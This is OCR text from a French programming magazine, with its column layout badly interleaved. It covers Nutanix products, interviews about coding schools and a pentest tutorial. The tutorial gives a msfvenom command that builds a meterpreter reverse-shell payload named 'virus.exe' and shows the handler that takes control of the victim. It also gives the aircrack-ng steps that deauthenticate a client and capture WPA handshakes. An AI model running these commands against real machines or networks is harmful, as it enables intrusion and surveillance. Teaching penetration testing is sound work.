utilisateurs, qu’elles soient on premise, in, les utilisateurs de ServiceNow équipes et permet de garantir une permet aujourd’hui de déployer la
hybride, cloud ou multicloud. Dans peuvent rapidement dimensionner, meilleure disponibilité des pile Nutanix en bare metal sur des
cette optique, la firme a fait un grand gérer et mettre à l’échelle des infrastructures. clusters Amazon Web Services. �

12 //programmez.com

L’intégration de Nutanix à ServiceNow permet non seulement d’obtenir une vue complète des �
infrastructures Nutanix, mais aussi d’automatiser plusieurs tâches.
Schéma de fonctionnement de Xi Cluster.
Concrètement, les détenteurs d’un et de déployer des bases de
compte AWS vont pouvoir déployer données en quelques clicks sur
en bare metal sur des infrastructures différentes infrastructures.
EC2 des clusters Nutanix AOS avec Fonctionnant pour l’instant avec les
toute la stack de Nutanix, y compris moteurs SGBD SQL Server, Oracle,
l’hyperviseur AHV. Il ne sera alors Postgres SQL et Maria DB, elle
pas nécessaire de modifier les permet de déployer des bases de
applications pour les porter sur le données avec leur VM et leur
cloud public qui deviendra une paramètre sur divers
simple extension via Virtual Private environnements, on premise ou sur
Cloud, Direct Connect ou un VPN. le cloud, par exemple pour le test et
Interrogé sur la similarité de sa le développement de nouvelles �
solution avec ce que propose déjà applications. La version 2.0, Plusieurs nouveautés pour Era avec la prise en charge de Mongo DB et SAP.
VMware sur le sujet, Nutanix a attendue prochainement, intègrera
reconnu que l’idée était bonne, mais le support de solutions NoSQL en TROIS QUESTIONS
que la mise en application par son commençant par Mongo DB. Le
concurrent n’était pas optimale, support de SAP Hana est également
À SYLVAIN SIOU,
rappelant qu’avec cette dernière, il annoncé. Era 2.0 apportera Senior Director EMEA de Nutanix
était nécessaire de reconstruire les également une gestion des accès sur Karbon
applications pour les porter sur le des données native ainsi que la Sylvain, qu’est-ce que Karbon ?
cloud public. gestion centralisée des bases de Sylvain Siou : Karbon fait partie intégrante de la pile logicielle de Nutanix et apporte
La démonstration réalisée sur scène données sur des infrastructures une solution prête à la production pour Kubernetes ainsi que la persistance pour les
mettait en avant la simplicité de ces multiclusters. � applications Kubernetes, la visibilité et le suivi des containers dynamiques, la gestion
déploiements réalisés en 5 clics et La conférence a également été des bases de données dans une offre simple à déployer et à gérer. Nutanix fournit
surtout les avantages qu’ils l’occasion d’obtenir des retours ainsi une solution et un outillage pour automatiser dans une approche DevOps le
apportent pour la réalisation de d’utilisation sur les dernières déploiement des applications de type Kubernetes dans leur cloud privé. La
tâches ponctuelles. Il est ainsi solutions de Nutanix, notamment Xi persistance est assurée via le support de l’interface standard CSI (Container Storage
possible de “mettre en pause” un IoT. L’intégrateur et éditeur français Interface) qui permet de tirer parti du stockage en mode block (Volumes) et en mode
cluster Nutanix sur AWS. Les Hardis, spécialisé dans la gestion Fichiers (Files) de Nutanix pour un stockage Kubernetes simple et performant.
instances EC2 la supportant sont des entrepôts, a ainsi fait la
alors décommisionnées démonstration sur scène d’une En quoi Karbon permet de simplifier les déploiements Kubernetes ?
automatiquement afin de réduire les application qui reconnaît le Sylvain Siou : Kubernetes est un ensemble de technologies qui demande beaucoup
coûts et les informations qui y sont mouvement des palettes grâce aux de gestion et de lifecycle management. Avec Karbon nous permettons le déploiement
relatives sont alors stockées dans le images des caméras de et la gestion en un clic d’une solution Kubernetes préconfigurée avec une
service de stockage objets S3, ce vidéosurveillance, afin de simplifier automatisation des mises à jour. Toute personne qui a déjà déployé un cluster
qui permet de redémarrer le cluster le travail des opérateurs de Kubernetes comprend à quel point une solution comme celle-ci peut être utile pour
à l’identique plus tard. À noter que logistique. “Non seulement la gérer ses environnements de container. Elle est beaucoup plus simple à utiliser et à
Xi Clusters est aussi actuellement solution Xi IoT facilite la mise en configurer. On peut ainsi facilement déployer plusieurs clusters Kubernetes sur la
en test sur les infrastructures GCP place de ces solutions avec une même plateforme pour avoir des ressources dédiées pour chaque équipe.
de Google. approche clés en main, mais
La solution Era, pour la gestion des permet aussi de simplifier les Quels sont aujourd’hui les cas d’usages de Karbon ?
bases de données, bénéficie aussi déploiements à l’échelle”, a ainsi Sylvain Siou : Le cas d’usage principal, c’est de fournir une plateforme de
de nouvelle amélioration avec expliqué Damien Pasquinelli, CTO microservices on-premise sans avoir un TCO élevé. Kubernetes reste une technologie
l’arrivée d’une version 2.0. D’abord de Hardis Advanced Solution qui émergente souvent très gourmande en expertise et en ressources humaines. Ensuite,
pensée pour les DBA, elle permet porte l’offre IoT chez Hardis. on voit des équipes qui utilisent Karbon pour maquetter rapidement des solutions en
notamment de cloner, de dupliquer • interne qu’elles voudraient ensuite basculer sur le cloud et inversement.

programmez.com// 13
ÉCOLE

Suite de notre dossier école paru dans le n°232


Questions-réponses avec
Frédéric Bardeau (président / cofondateur de Simplon.co)
& Elodie Salin (directrice Formation, Ingénieries et Partenariats de Simplon.co)
Depuis quelques années, les écoles Finalement : trop d’écoles / formations l’ADN de Simplon.
(cursus complet / alternances), les ne tuent-elles pas l’école informatique A ce jour, nous continuons à accueillir plus
centres de formations sur les métiers de avec une offre pléthorique et le risque de candidats que de places… Nous
l’informatique et notamment le d’être peu visible ? Comment faites-vous n’avons aucune difficulté concernant notre
développement se multiplient. Avec la pour recruter car sans étudiants, pas visibilité ou un “ralentissement” de l’envie
promesse de trouver un emploi d'école ? des publics. En revanche, nous
derrière. Quel est votre sentiment sur Effectivement les enjeux de “sourcing” de rencontrons régulièrement des candidats
cette situation ? nos apprenants sont essentiels et qui ont un réel potentiel mais qui ont
Effectivement, Simplon n’est pas la concentrent pas mal d’énergies de la part besoin, plus que d’autres, d’être
première formation de ce type, ni la seule. des salariés de Simplon. Mais cela tient accompagnés, soit sur des problématiques
Plusieurs autres formations existaient déjà plus à la difficulté d’aller chercher des sociales, soit sur la maîtrise des savoirs de
en France avant l’apparition de Simplon.co talents qui s’ignorent qu’à une base. Et nous n’avons pas toujours les
en 2013, comme la Web@cadémie, R2K, concurrence acharnée entre les écoles. moyens de leur offrir cet appui.
3WAcadémie ou encore Cefim et bien A Simplon, les critères sociaux sont
d’autres dans les territoires… D’autres se prépondérants et préalables pour accéder Avez-vous le sentiment que l’on mise
sont créées à peu près en même temps ou à nos formations : nous souhaitons plus sur la quantité que la qualité ? Est-
presque que Simplon.co, comme Le privilégier les demandeurs d’emploi ce valable dans toute la France ou
Wagon, l’école 42, Webforce3,… troisième (décrocheurs, ou longue durée), les selon les régions ?
catégorie : celle des formations qui se sont personnes en reconversion et les séniors, Le besoin de profils est massif et donc la
créées au contact de Simplon (copycats, les publics réfugiés ou primo-arrivants, les quantité est très importante. En revanche,
forks ou franchisés s’étant autonomisés) : personnes en situation de handicap, les il s’agit d’insérer durablement des
Wild Code School (auparavant Simplon allocataires de minimas sociaux et les personnes dans des entreprises et donc la
Village dans le Perche), Pop School, Access publics éloignés du numérique ou de qualité est indispensable. Il est clair que
Code School ou Pôle S,... et enfin dernière l’emploi. Il faut aller chercher ces talents c’est difficile de faire les deux mais il faut
catégorie : toutes les formations montées partout sur les territoires - qu’ils soient absolument faire les deux. Depuis 2015, le
dans le sillage du dispositif Grande École ruraux ou urbains ! dispositif “Grande École du Numérique”
du Numérique. Avec d’autres, nous Pour cela, nous nous appuyons sur un tente de faire passer à l’échelle et de
défendons une démarche qui vise à innover réseau de prescripteurs - dont Pôle Emploi labelliser, et financer, des formations
pour résoudre l’absurdité patente entre un et les missions locales - qui réorientent des gratuites de profils junior dans toute la
besoin de compétences non satisfait et des candidats vers nous. Par ailleurs, nous France et franchement c’est un succès.
talents gâchés car au chômage et organisons très régulièrement des
potentiellement capables de se former… informations collectives à destination des Ne fait-on pas (trop) rêver le jeune,
personnes intéressées afin de présenter l’étudiant ou la personne qui se
notre offre, de les orienter au mieux dans réoriente ? Oui l’informatique
leurs parcours et de répondre à toutes embauche mais pas tous les profils ni
leurs questions. Dès que nous le pouvons, toutes les compétences ? Un choc
nous communiquons sur notre offre de culturel pour certain(e)s ?
© Agence Alter & Ego / Frédéric Bieth

formation. En ce sens, la notoriété de Nous formons des personnes éloignées du


Simplon - appuyée par les médias ou sur monde du travail ou dont l’emploi est
les réseaux sociaux - est importante pour menacé par la montée en puissance du
son impact social. Les apprenants sont numérique aux métiers porteurs - en
donc au coeur de notre démarche, tout tension dans le secteur du numérique.
comme les formateurs qui constituent un Pour cela, nous leur proposons des
enjeu de sourcing également ! Il nous faut parcours de formation qui permettent de
trouver des professionnels compétents valider des blocs de compétences
professionnellement et qui partagent complémentaires les uns des autres.

14 //programmez.com
ÉCOLE

Au-delà des métiers visés par nos


formations et des compétences qu’ils
cela les précédents américains
(« bootcamps ») et les initiatives pionnières Entretien avec
requièrent, c’est la pédagogie de Simplon qui existaient déjà en France. Cela reste
qui est particulière car elle ne s’apparente
pas à une pédagogie “scolaire” et donc ne
une part importante de nos formations,
parce que c’est le métier le plus en tension
Bruno Faure
convient pas à tout le monde. dans le domaine du numérique, mais le (Web School Factory)
C’est donc au travers d’une sélection sur référentiel a été rapidement déployé sous
la base de la motivation, de l’appétence, différentes versions (Ruby, PHP, Java, JS)
de la capacité à travailler en équipe, de la avec des approches métiers différenciées
prédisposition au métier numérique visé (full stack, back-end, front-end,
par la formation et de la compatibilité intégration, CMS,…).
avec le modèle pédagogique (autonomie, Puis, constatant à la fois que le métier de
pédagogies actives, mode projet, peer- développeur exige des qualités
learning,…) ainsi qu’à l’organisation de particulières qui ne sont pas à portée de
Simplon.co (pair programming, travail tous les profils, que les Simplonien•ne•s
collaboratif) que se décide l’admission. formé•e•s en tant que développeurs
Localement, en fonction des partenaires, exerçaient des métiers différents une fois
des territoires et des financements, employés, et enfin que d’autres métiers du
d’autres critères peuvent intervenir : âge numérique étaient également en tension –
Depuis 2012, Bruno Faure
(moins de 25 ans ou au contraire séniors), et permettaient donc de proposer des travaille à la Web School Factory
géographie (quartiers politique de la ville parcours d’insertion plus inclusifs -, où il est directeur des
ou ruralité, résidence dans l’agglomération Simplon.co a investigué d’autres pédagogies et de l’innovation. Il
de la fabrique, etc.), niveaux d’études (pas référentiels de formation. Référent
de diplôme et décrocheur pour la Grande numérique, développeur data, technicien
a lancé en 2017 le programme
École du Numérique, BAC + 2 pour data IA, Wordpress/CMS, DevOps, de l’Etape Design, une
certaines formations, etc.). Cybersécurité, etc. formation de 10 mois pour
Par ailleurs, Simplon.co explore en former au métier de Web
A Simplon, quels sont les focus que partenariat avec des entreprises des
vous mettez en avant ? Quelle est la référentiels de formation autour des
Designer. Plus récemment, il a
part du travail personnel ? Comment les technologies Mainframe, FTTH, fab créé le Bachelor Tech&Code
motiver pour que les étudiants soient manager, … Factory, une formation en
curieux car nos métiers changent vite. Enfin, et c’est le plus important, développement web sur 3 ans,
D’abord, nous créons un environnement Simplon.co a commencé ses formations
d’apprentissage qui est le plus proche en octobre 2013 et elles n’étaient à
accessible sur concours et
possible de celui de l’entreprise, avec une l’époque ni certifiantes ni diplômantes totalement en apprentissage.
équipe pédagogique bienveillante, qui mais nous avons eu depuis la possibilité et
prône le droit à l’erreur comme un levier la chance de délivrer des titres et de faire Depuis quelques années, les écoles (cursus
de progression accélérée. valider nos propres blocs de compétences complet / alternance), les centres de
Nous leur apprenons à travailler ensemble auprès de la commission nationale des formations sur les métiers de l’informatique
et à apprendre par eux-mêmes car, en effet, certifications (aujourd’hui France et notamment le développement se
ils vont devoir sans cesse renouveler leurs Compétences). Cela permet à nos multiplient. Avec la promesse de trouver un
compétences et leurs savoirs donc le apprenant•e•s d’objectiver leurs emploi derrière. Quel est votre sentiment
meilleur des apprentissages est bien celui-là. compétences et à Simplon d’être éligible à sur cette situation ?
C’est sûr, les formations que nous des financements qui nous permettent de L’innovation et la transformation sont au cœur
proposons sont intensives ! Nous le disons maintenir nos formations gratuites, de des enjeux de notre époque. L’apparition
tout au long du processus de sélection afin valider des acquis professionnels (VAE et continue de nouvelles technologies
de préparer autant que possible les VAP), etc. s’accompagne d’un renouvellement perpétuel
candidats à ce qui les attend pendant les Surtout, cette double approche - formation dans le milieu de la Tech. Ainsi, les entreprises
mois de formation. à visée certifiante et partenariats étroits quel que soit leur secteur d’activité, ont un
avec les entreprises - nous a permis de besoin croissant de maîtriser leurs informations
A la sortie de votre formation, à quoi développer très fortement l’alternance - via numériques et la data qui en découle. Le
peut prétendre la personne ? Quelles le contrat de professionnalisation. système éducatif tente de répondre au mieux à
sont ses compétences ? Ce format pédagogique - alternance de cette forte demande en créant des formations
Historiquement Simplon.co s’est temps en entreprises et temps chez nous - afin d’inculquer aux futurs experts les
positionné sur un référentiel de formation est parfaitement adapté à nos publics et compétences adéquates.
de développeur web et mobile, suivant en nos métiers. • Afin de répondre précisément à la demande

programmez.com// 15
ÉCOLE

des entreprises, le bachelor Tech&Code Factory Certaines formations optent pour alternance. Les étudiants auront la possibilité
propose une formation axée sur des cas l’enseignement sur mesure avec des de traiter en cours les problématiques vues en
concrets en lien avec les besoins et promotions réduites et d’autres recrutent en entreprises. Au-delà de l’apprentissage
problématiques des entreprises. La formation a grand nombre pour offrir un enseignement technologique, la formation propose également
été co-construite avec les entreprises de telle supérieur à tous. des cours de management pour faciliter
sorte que nos étudiants soient opérationnels Tech&Code Factory a opté pour un suivi l’intégration des étudiants en entreprise, et ce,
dès la première année. personnalisé avec des promotions de 20 dès leur première entrée dans une entreprise.
étudiants. Les étudiants sont alors encadrés Le travail en équipe est une bonne manière de
Finalement : trop d’écoles / formations ne par des tuteurs en entreprise et par un panel stimuler les étudiants et ce tout au long de la
tuent-elles pas l’école informatique avec d’intervenants professionnels durant les cours formation.
une offre pléthorique et le risque d’être afin de garantir un suivi tout au long du
peu visible ? Et surtout, avec cette cursus. Le lien avec l'entreprise est repensé À la sortie de votre formation, à quoi peut
concurrence très vive, comment faites- pour garantir un accompagnement prétendre la personne ? Quelles sont ces
vous pour recruter car sans étudiants, pas personnalisé dans leur intégration. Ainsi, les compétences ?
d'école ? étudiants collaborent en petits groupes au Ce bachelor a pour vocation de former à des
Les métiers du digital se sont diversifiés ces sein d’une même entreprise et apprennent métiers qui répondent à des besoins précis et
dernières années. Certains secteurs d’activités ensemble la culture professionnelle. identifié par les entreprises. Notre ambition
attirent plus que d’autres. Ainsi, il y a une est de former des développeurs polyglottes qui
hétérogénéité des besoins et des habitudes Ne fait-on pas (trop) rêver le jeune, savent maîtriser différentes langages
d’apprentissage. Pour mieux répondre aux l’étudiant ou la personne qui se réoriente ? informatiques. La formation permet
besoins des étudiants, les différentes écoles Oui l’informatique embauche mais pas d’acquérir et d'articuler des compétences de
ou formations tentent d’y répondre en tous les profils ni toutes les compétences ? savoir être et savoir-faire, compétences
proposant des pédagogies différentes en Un choc culturel pour certain(e)s ? primordiales en entreprise.
adéquation également avec les besoins des Lors d’un lancement de formation, il est Nous préparons aux métiers de développeur
entreprises. Par exemple, un développeur nécessaire d’adopter une communication web fullstack, développeur front-end,
informatique peut avoir un profil de claire pour ne pas avoir un effet déceptif. Une développeur back-end, développeur mobile
technicien (BAC+2) ou d’ingénieur (BAC+5). école ou une formation, ce sont des ou encore développeur-intégrateur de
Sécurisant et professionnalisant, le format du structures plus complexes qu’une entreprise. solutions complexes. Le Bachelor permet de
bachelor choisi par Tech&Code a séduit les C’est une communication où l’on ne peut pas former des développeurs web dotés d’une
étudiants qui sont déjà nombreux à s’inscrire adapter les méthodes en vigueur dans les vision 360° du monde du numérique et d’une
aux sessions d’admissions. Le bachelor est le entreprises. L’étudiant doit comprendre les connaissance approfondie du monde de
mix parfait entre l’enseignement académique grandes lignes de la formation. L’étape du l’entreprise pour garantir son employabilité
et professionnel car la formation répond aux concours permet d’expliciter nos attentes et sur le long terme.
besoins actuels et futurs des entreprises. de comprendre celle de l’étudiant. Les test
L’attrait de la formation repose également sur individuels ou collectifs permettent de savoir si N’est-ce pas une certaine « fuite en avant »
la méthodologie en mode projet. Ainsi, les la formation convient aux étudiants. Les avec les recherches parfois extravagantes
étudiants sont ancrés, dès la première année, entreprises participent au recrutement des des recruteurs et entreprises qui cherchent
sur des cas réels d'entreprises, y compris étudiants et ce sont elles, qui sélectionnent et les développeurs à 42 bras sachant tout
durant leurs cours. embauchent les étudiants. faire pour un salaire inférieur à la
moyenne ?
Combien coûte le cursus ? Dans votre école, quels sont les focus que Pour certains, le développeur apparaît comme
Il s’agit d’un cursus en trois ans, accessible vous mettez en avant ? Quelle est la part un touche-à-tout technique nécessaire aux
sur concours, en apprentissage, 100 % gratuit du travail personnel ? Comment les entreprises qui opèrent leur transition
et rémunéré dès la deuxième année pour les motiver pour que les étudiants soient numérique. Cette approche est peu réaliste, à
étudiants. curieux car nos métiers changent vite ? mon goût, d’autant plus avec la multiplication
Notre formation s’adresse aux étudiants de 17 des nouvelles technologies. On peut même
Avez-vous le sentiment que l’on mise plus à 25 ans détenant ou non le BAC. Lors des dire qu’il n’existe pas un, mais de multiples
sur la quantité que la qualité ? Est-ce sessions d’admissions, c’est leur appétence et profils de développeurs. C’est un des maillons
valable dans toute la France ou selon les leur attirance pour les domaines techniques liés essentiels dont l’entreprise a aujourd’hui
régions ? au web qui sont évaluées. La motivation et la vraiment besoin. Les compétences Tech sont
Les concurrences entre établissement curiosité sont également les grands critères de très recherchées et ne cessent d’évoluer. Co-
s’aiguisent et conduisent à considérer recrutement. Durant les trois ans de formation, construite avec des entreprises, la formation
l’enseignement supérieur comme un espace nous mettons un point d’honneur sur le mode Tech&Code répond donc à des besoins précis,
segmenté. L’enseignement supérieur est un projet. Les étudiants vont acquérir des concrets et identifiés, ce qui garantit aux
marché comme un autre. Certains cursus compétences au cours de la première année étudiants de développer une expertise
sont donc quantitatifs et d’autres qualitatifs. qu’ils vont ensuite exploiter durant leur professionnelle pérenne. •

16 //programmez.com
La compagnie des nains
« Bramor est un jeune nain. Apprenti forgeron, il était destiné à un bel avenir
au sein de la cité-mine du Rakdur. Affronter gobelins, géants et trolls, voilà ce
dont il rêve chaque nuit. Sa première mission - assurer la reconnaissance des
alentours du Rakdur - devait être des plus tranquilles… »

n o u v e a u

Roman illustré d'heroic-fantasy de César Séjourné

L’ouvrage est disponible sur Amazon.fr en format broché (15,99 €) et kindle (2,99 €) :
https://tinyurl.com/y3lptfog
Sécurité
+
développeur :
amis ou ennemis ?
Si le développeur n’est pas sensibilisé ni intégré à la politique de sécurité, vous
laisserez de jolies vulnérabilités. Le développeur est la première sentinelle de
la sécurité. Si le code est propre et respecte les bonnes pratiques, vous
limiterez les failles de base.
Bref, il faut laisser le temps aux développeurs de sécuriser le code, de
mettre en place les bonnes pratiques de la programmation sécurisée,
d’utiliser les outils adaptés (rien que les analyses statiques et
dynamiques du code feront disparaître les vulnérabilités les plus
communes). Mais il faut aussi que le développeur soit sensibilisé à la
sécurité et que les équipes, les entreprises, les DSI, les RSSI aient
conscience que le développeur doit être dans le plan global de sécurité
(communément appelé SecPlan). Il y a quelques années, et dans une moindre
mesure, encore aujourd’hui, les clients, les entreprises n’hésitaient pas à couper
dans les tests pour déployer plus rapidement, la sécurité c’est parfois un peu pareil.
Il est INADMISSIBLE que certaines vulnérabilités OWASP TOP 10 existent encore en 2019. Tout comme, il n’est pas
admissible de garder des piles techniques (serveurs d’applications, frameworks, langages, etc.) anciennes, non patchées,
ni mises à jour ! Garder des outils, des langages, des frameworks/librairies obsolètes qui ne sont plus supportés par les
éditeurs et communautés, c’est être suicidaire et exposer son back-end à des attaques. Jusqu’ici, tout va bien…
La sécurité ne concerne pas que les Ops (le fameux Ops de DevOps) ni que les RSSI. La sécurité doit être globale et
soutenue par toutes les entités de l’entreprise, toutes les équipes, tous les responsables et… par les développeurs.
Dans ce dossier, nous allons parler de Pentest (les fameux tests de pénétration), de DevSecOps, de sécurité des
© D-Keine

développements mobiles, de secure by design et nous évoquerons une révolution en cours dans la cryptographie avec la
cryptographie quantique. La rédaction.

18 //programmez.com
Christophe Villeneuve
Consultant IT pour Hello-design, Mozilla Rep, auteur
de livres pour les éditions Eyrolles et aux Éditions ENI,
SÉCURITÉ
PHPère des elePHPants PHP, membre des Teams
DrupalFR, AFUP, LeMug.fr (MySQL/MariaDB User
Group FR).

Les tests d’intrusions : les joies du pentest !


Dans notre précédent article, dans Programmez ! 223, « Hacker un site internet », on laissait entrevoir une suite - que nous
vous proposons aujourd’hui - pour aller un peu plus loin dans la sécurité de vos projets Web et de vos réseaux informatiques.
Nous allons aborder un sérieux sensible et terriblement intéressant : les tests d’intrusions / pénétrations. Le fameux pentest !
Ils peuvent être effectués manuellement, nécessi- Il existe une large gamme d’outils sur le marché, semble des niveaux de la sécurité informatique.
tant temps et patience. Toutefois les outils existent et le Dark Net. On y trouve aussi bien des outils Mais parfois, la frontière est mince entre légal et
pour détecter plus rapidement les faiblesses d’un commerciaux et open source. Sachez que ces illégal. Notez aussi qu’il existe des plateformes
réseau de sécurité et vous alerter des menaces outils sont destinés à la pratique du hacking légal matérielles de pentest, telle que la carte Bus
futures venant d’attaquants expérimentés. et il est par conséquent encadré. Ils touchent l’en- Pirate.

AVERTISSEMENT
L’auteur et la rédaction ne peuvent pas être tenus responsables du contenu de cet article et de son usage

niveau
Plateforme de tests intrusions 200
Metasploit �
Metasploit signifie « Metasploit Pen Testing Tool », un projet open
source en double licence (gratuite et professionnelle avec des fonc-
tionnalités avancées). Son but est de fournir des informations sur
les vulnérabilités des systèmes informatiques.
Les 3 axes de Metasploit sont :
• Exploit : un petit script qui exploite une vulnérabilité dans un sys-
tème ou une application.
• Payload : un script qui s’exécute sur le système piraté. Il s’accouple
avec un fichier binaire (exe, PDF…) et s’exécutera en même temps
que lui, du même genre qu’un trajan (cheval de Troie).
• Auxiliaire : il s’agit d’un utilitaire, utilisé pour scanner et détecter
les vulnérabilités d’une application. �
Bien entendu, il embarque une suite d’autres outils pour vous aider
à déterminer comment les hackers peuvent vous pirater. On dispose
aussi de frameworks ainsi que d’un outil d’opcode, pour les dépas- • machine 1 (192.168.1.125)
sement de tampons, un shellcode ou une fonction de recherche. • machine 2 (192.168.1.19)
Par ailleurs, il peut simuler des infections clients / serveurs et la • ma machine (192.168.1.50)
prise en main du PC infecté, exactement comme avec un botnet. À partir de votre machine, ouvrez un terminal pour taper la com-
Metasploit s’utilise en 2 étapes : mande suivante :
• Tout d’abord, il va générer la prise en main par un exploit distant
$ msfvenom –p windows/meterpreter_reverse_tcp –f exe –a x86 –platform windows
et la console du framework.
LHOST 192.168.1.50 LPORT 4444 –o virus.exe
• Ensuite, après avoir réalisé l’exploit, il permet la prise en main sur
la machine infectée par le meterpreter. La description des arguments :
Ainsi, vous pouvez effectuer des captures d’écran, enregistrer les • -p prépare le payload ;
frappes du clavier, etc. • -f exe indique que le type de fichier, ou l’extension de fichier sera exe ;
À travers un exemple, vous allez voir un cas pratique autour des 3 • -a x86 indique l’architecture système. x86 est utilisée dans les
axes décrits plus haut. Nous allons utiliser un réseau avec comme systèmes 32 bits, même si mon système est en 64 bits, on peut
IP, 192.168.1.x. Comme pour pouvoir envoyer un virus. faire tourner un programme 32 bits sur un système 64 bits ;
La première étape consiste à connaître le réseau. Pour ce faire, on • platform Windows indique que ce virus est pour Windows ;
utilise un outil de scan réseau qui va découvrir une liste de • LHOST est l’IP de l’attaquant (votre machine) ;
machines visibles : • LPORT est le port que vous souhaitez utiliser ;
• serveur MetaSploit (192.168.1.10) • -o est le chemin d’enregistrement du fichier, avec son nom.

programmez.com// 19
SÉCURITÉ

Ensuite, vous installez Payload : • l'attaque par dictionnaire : ce type d’attaque s’appuie sur un
fichier contenant une liste de mots. Le logiciel les lira les uns
$ ~# use mulit/handler après les autres en leur ajoutant les mêmes transformations que
$ ~# Set PAYLOAD windows/meterpreter/reverse_tcp précédemment.
$ ~# Set LHOST 192.168.1.50 • Attaque par force brute : cette attaque, connue sous le nom
$ ~# Set LPORT 4444 ‘Mode incrémental’, va essayer toutes les combinaisons de
Ce logiciel va se comporter comme un malware à partir de votre caractères possibles, jusqu'à trouver le mot de passe. Tous les
machine. caractères seront testés, quelle que soit la robustesse du mot de
La dernière étape sera l’exécution de l’exploit avec la commande : passe, si vous lui laissez le temps nécessaire à le trouver.
• Le mode Markov : ce dernier mode est le mode personnalisé en
$ exploit ajoutant à la fin de la ligne de commande –markov. Il va vous
Au final, quand l’ordinateur victime va lancer le programme permettre d’ajouter vos propres arguments, avec des délimiteurs,
(manuellement) ou à partir de son OS, vous allez voir que le niveau à chacune des méthodes décrites précédemment.
Metasploit et Meterpreter se lanceront, ce qui signifie que vous Par défaut, les trois premiers modes sont exécutés dans cet ordre
avez pris le contrôle de la machine victime. l'un après l'autre, bien qu'il soit possible de lancer l’outil directe-
À partir de là, vous pouvez utiliser la webcam, enregistrer des ment dans un des modes.
vidéos, enregistrer les frappes du clavier avec un keylogger, télé- Enfin, si vous n’êtes pas habitué à la ligne de commandes (un
charger ces données personnelles ou même éteindre ou redémar- conseil : il faut s’y mettre), vous pouvez utiliser une interface gra-
rer son ordinateur. phique appelée Johnny.
Sympa, non ? Site officiel John The Ripper : http://www.openwall.com/john/
Enfin, la création de l’exploit se fait à travers des scripts fournis qui Site officiel Johnny : https://openwall.info/wiki/john/johnny
sont mis à jour ou proposés via la communauté.
Site officiel : http://metasploit.com/ Réseaux sans fil
Le réseau sans fil est une source très intéressante pour les hackers,
Les mots de passe � car vos téléphones, tablettes, ordinateurs portables que vous utili-
Les mots de passe sont partout aussi bien sur le Web, que pour l’ac- sez quotidiennement sont des portes d’accès supplémentaires qu’il
cès à votre environnement de travail, votre système d’exploitation, faut surveiller. Il existe différents protocoles pour les réseaux wifi
les logiciels, etc. (WEP, WPA…) qui peuvent être cassés, plus ou moins rapidement,
par une suite d’outils regroupés sous le nom de Aircrack-ng.
Résistance d’un mot de passe Son rôle est de surveiller votre réseau, mais il est souvent utilisé
John The Ripper est un logiciel libre de cassage de mot de passe. Il pour cracker un réseau informatique sans autorisation, ce qui est,
permet de tester la sécurité des mots de passe. Il inclut l’autodétection évidemment, interdit.
des fonctions de hachage utilisées pour stocker les mots de passe. Par exemple, nous vous montrons le moyen de vérifier si votre
Il propose différentes techniques pour retrouver le mot de passe : réseau WPA2 est suffisamment sécurisé à partir d’un environne-
• le mode simple : John effectue quelques transformations sur le ment Linux. À partir du terminal, vous déconnectez tous vos
nom d'utilisateur, pour casser les mots de passe les plus faibles. réseaux sans fil disponible sur votre ordinateur :
Pour l'utilisateur admin, il essayerait "admin, Admin, admin123, $ airmon-ng check kill
ADMIN123, admin1, etc.". Ce mode est le plus rapide à effec-
tuer, un mot de passe qui serait cassé par cette méthode serait Ensuite, vous vous connectez à la carte Wifi interne ou externe de
un mauvais mot de passe. votre ordinateur :
� $ airmon-ng
Le programme trouvera la carte wifi et vous vous connecterez à
l’interface

$ airmon-ng start [monitor interface]


pour enfin lancer le scan
$ airodump-ng [monitor interface]
Après quelques minutes, vous obtenez une liste des Wifi disponible
autour de vous comme ceci �
Ensuite, vous choisissez un des résultats (bssid) et le canal de la
forme suivante :

$ airodump-ng --bssid [router bssid] -c [client bssid] --write [nomFichier] [monitor interface]
• 14:0C:76:95:C1:C9 : BSSID

20 //programmez.com
SÉCURITÉ

• -c 5 : le numéro du channel
• NomFichier : nom du fichier qui enregistre le résultat
• monitor interface : nom du réseau
Le programme Airodump va surveiller uniquement le réseau cible,
et il capture les informations plus spécifiques et attend qu’un autre
périphérique se connecte ou se reconnecte à ce réseau.
Vous trouverez 4 nouveaux fichiers dans votre disque dur qui gar-
dent les informations capturées.
La dernière étape s’effectue avec un autre terminal pour capturer
le mot de passe chiffré, de la manière suivante : �
$ aireplay-ng --deauth 100 -a [router bssid] [monitor interface]

L’opération permet de désactiver à distance le client, ce qui l’obli-


gera à effectuer une réauthentification automatique et par la
même occasion la récupération du mot de passe chiffré stocké
dans les fichiers �
Vous pourrez ensuite vous connecter ultérieurement à ce réseau de
la manière suivante

$ aircrack-ng [NomFichier].cap

Site officiel : https://www.aircrack-ng.org �

Analyse réseau
Wireshark rentre dans la famille des outils d’analyse de réseau et
principalement les données passant par le switch et hub. Son but
est de capturer les paquets en temps réel et de retourner le résultat
dans un format lisible pour l’utilisateur.
Il est compatible avec l’ensemble des systèmes d’exploitation
(Windows, Linux, FreeBSD, NetBSD, NetBSD...), VoIP et des diffé-
rents protocoles (SMTP, NNTP, IPsec, ISAKMP, SSL/TLS, WEP et
WPA/WPA2). Mais nous l’utiliserons pour sécuriser le réseau infor- �
matique. �
Lors du lancement du logiciel, il va automatiquement détecter les
différents matériels en réseau (cartes, wifi, switch, hub).
Vous choisissez la ligne à surveiller pour obtenir le détail des diffé-
rents paquets envoyés. �
L’écran est découpé en 3 parties :
• La première partie va capturer les paquets que le logiciel voit
passer. Vous pouvez stopper à tout moment la capture avec le
bouton ‘pause’. Chaque ligne est identifiée par le type de trafic
avec une couleur prédéfinie.
• le vert est le trafic TCP ;
• le bleu foncé est le trafic DNS ;
• le bleu clair est le trafic UDP ;
• le noir identifie les paquets TCP présentant des problèmes.
• La deuxième partie de l’écran fournira les informations plus �
détaillées comme le protocole de transmission, la carte utilisée,
la taille du paquet… Base de données
• La troisième partie affichera en clair les données en caractère La base de données est un point sensible dans votre projet, car elle
ASCII et hexadécimales. Par exemple vous pouvez voir les don- enregistre les informations sensibles de vos utilisateurs. Il existe de
nées saisies d’un formulaire et les valeurs d’une requête. nombreux logiciels open source pour vérifier si votre base de don-
Enfin, vous pouvez analyser en détail chaque ligne avec les diffé- nées résiste aux tests d’intrusion. Toutefois l’exemple s’appuiera sur
rentes options proposées ou exporter vos propres captures pour les SQLMap qui va vous permettre d’automatiser la détection des
ouvrir plus tard. défauts d’injection SQL. L'avantage est qu’il reconnaît un maxi-
Site officiel : https://www.wireshark.org/ mum de formats de base de données.
Ce logiciel va faciliter les tests, car il est capable d’interroger votre

programmez.com// 21
SÉCURITÉ

